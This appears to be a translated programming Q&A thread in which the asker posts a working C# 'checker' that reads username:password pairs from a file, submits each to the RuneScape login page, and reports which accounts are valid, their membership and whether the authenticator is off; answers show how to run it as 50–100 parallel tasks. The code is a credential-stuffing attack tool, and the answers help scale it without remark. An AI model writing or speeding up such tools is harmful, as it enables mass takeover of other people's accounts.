我有这个c#类,我试图制作多线程,或者能够一次运行100个线程(请求?)。
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
string[] lines = File.ReadAllLines("C:\\checker/in.txt");
var accCount = File.ReadLines(@"C:\checker/in.txt").Count();
Console.Write("Accounts loaded: " + accCount);
Console.WriteLine();
foreach (string line in lines)
{
string[] account = line.Split(new char[] { ':' });
string user = account[0];
string pass = account[1];
addThreads(user, pass);
Threads.ForEach(t => t.Start());
Console.WriteLine();
}
// Suspend the screen.
Console.ReadLine();
}
public static List<Thread> Threads = new List<Thread>();
public static void addThreads(string user, string pass)
{
var checker = new Checker();
Threads.Clear();
Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
}
}
public class Checker
{
//declare vars
string getUsername;
string getMember;
string getAuth;
string check;
public void checkAccount(string username, string password)
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] data = Encoding.ASCII.GetBytes(
$"username={username}&password={password}&mod=www&ssl=1&dest=account_settings.ws");
WebRequest request = WebRequest.Create("https://secure.runescape.com/m=weblogin/login.ws");
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = data.Length;
using (Stream stream = request.GetRequestStream())
{
stream.Write(data, 0, data.Length);
}
string responseContent = null;
using (WebResponse response = request.GetResponse())
{
using (Stream stream = response.GetResponseStream())
{
using (StreamReader sr99 = new StreamReader(stream))
{
responseContent = sr99.ReadToEnd();
}
}
}
//parse captcha
string patternCaptcha = @"Please\s*complete\s*the\s*reCAPTCHA\s*box";
string inputCaptcha = responseContent;
Match matchCaptcha = Regex.Match(inputCaptcha, patternCaptcha);
string captcha = matchCaptcha.Value;
if (captcha == "Please complete the reCAPTCHA box")
{
captcha = "true";
Console.Write("captcha,captcha,captcha,captcha");
Console.WriteLine();
//return "captcha,captcha,captcha,captcha";
}
else
{
//parse valid/invalid
string patternCheck = @"Your\s*login\s*or\s*password\s*was\s*incorrect";
string inputCheck = responseContent;
Match matchCheck = Regex.Match(inputCheck, patternCheck);
check = matchCheck.Value;
if (check == "Your login or password was incorrect")
{
check = "Invalid";
}
else
{
check = "Valid";
//parse display name
string pattern = @"(<span.*class=.header-top__name.>(.*?)</span>)";
string input = responseContent;
Match match = Regex.Match(input, pattern);
getUsername = match.Groups[2].Value;
byte[] bytes = Encoding.Default.GetBytes(getUsername);
getUsername = Encoding.UTF8.GetString(bytes);
getUsername = getUsername.Replace("?", " ");
//parse member status
string patternMember = @"(Currently\s*Not\s*a\s*Member)";
string inputMember = responseContent;
Match matchMember = Regex.Match(inputMember, patternMember);
getMember = matchMember.Value;
if (getMember == "Currently Not a Member")
{
getMember = "Non Member";
}
else
{
getMember = "Member";
}
//parse auth status
string patternAuthUrl = @"iframe src=\""(.*?)""";
string inputAuthUrl = responseContent;
Match matchAuthUrl = Regex.Match(inputAuthUrl, patternAuthUrl);
string getAuthUrl = matchAuthUrl.Groups[1].Value;
using (WebClient client = new WebClient())
{
string authSource = client.DownloadString(getAuthUrl);
string patternAuth = @"RuneScape\s*Authenticator\s*is\s*disabled";
string inputAuth = authSource;
Match matchAuth = Regex.Match(inputAuth, patternAuth);
getAuth = matchAuth.Value;
if (getAuth == "RuneScape Authenticator is disabled")
{
getAuth = "Auth Disabled";
}
else
{
getAuth = "Authed";
}
}
}
captcha = "false";
string curldata = getUsername + "," + getMember + "," + getAuth + "," + check;
Console.Write(curldata);
Console.WriteLine();
}
}
}
}
如果每次发布网络请求每隔几秒钟检查一次我的程序,我怎样才能在同一时间将这种情况发生50-100次?这可能吗?或者我需要以不同的方式做到这一点吗?
答案 0 :(得分:2)
您需要避免使用线程,因为每个线程使用超过1MB的RAM并且创建起来很慢。你真的想使用任务(TPL)或observables(Rx)。
在这种情况下,使用任务非常简单。
试试这段代码:
string[] lines = File.ReadAllLines("C:\\checker/in.txt");
var accCount = lines.Count();
Console.Write("Accounts loaded: " + accCount);
Console.WriteLine();
var checker = new Checker();
var tasks =
from line in lines
let account = line.Split(new char[] { ':' })
let user = account[0]
let pass = account[0]
select Task.Factory.StartNew(() => checker.checkAccount(user, pass));
Task.WaitAll(tasks.ToArray());
Console.ReadLine();
这将读取文本文件并排队要运行的一组任务以检查每一行。 Task.WaitAll
暂停代码,直到完成所有任务。
这样可以有效地使用线程池,这样就不会浪费宝贵的资源来启动线程。
您的checkAccount
目前也不是线程安全的。您需要将字段级变量移动到方法内。看起来应该是这样的:
public void checkAccount(string username, string password)
{
string getUsername;
string getMember;
string getAuth;
string check;
答案 1 :(得分:0)
首先,你需要做一个方法来调用线程
public void CallingThreadsMethod()
{
ThreadStart ts = new ThreadStart(SomeFunction);
Thread t = Thread(ts);
t.IsBackground = true;
t.Start();
}
void Somefunction(){}
或者如果你想要很多线程,你可以创建一个线程列表
public static List<Thread> Threads = new List<Thread>();
public static void addThreads()
{
Threads.Clear();
Threads.Add(new Thread(Method1));
Threads.Add(new Thread(Method2));
}
然后在你的主要功能
中启动它Vars.addThreads();
Vars.Threads.ForEach(t => t.Start());
但如果您使用的是Windows窗体或wpf,我建议您使用BackgroundWorkers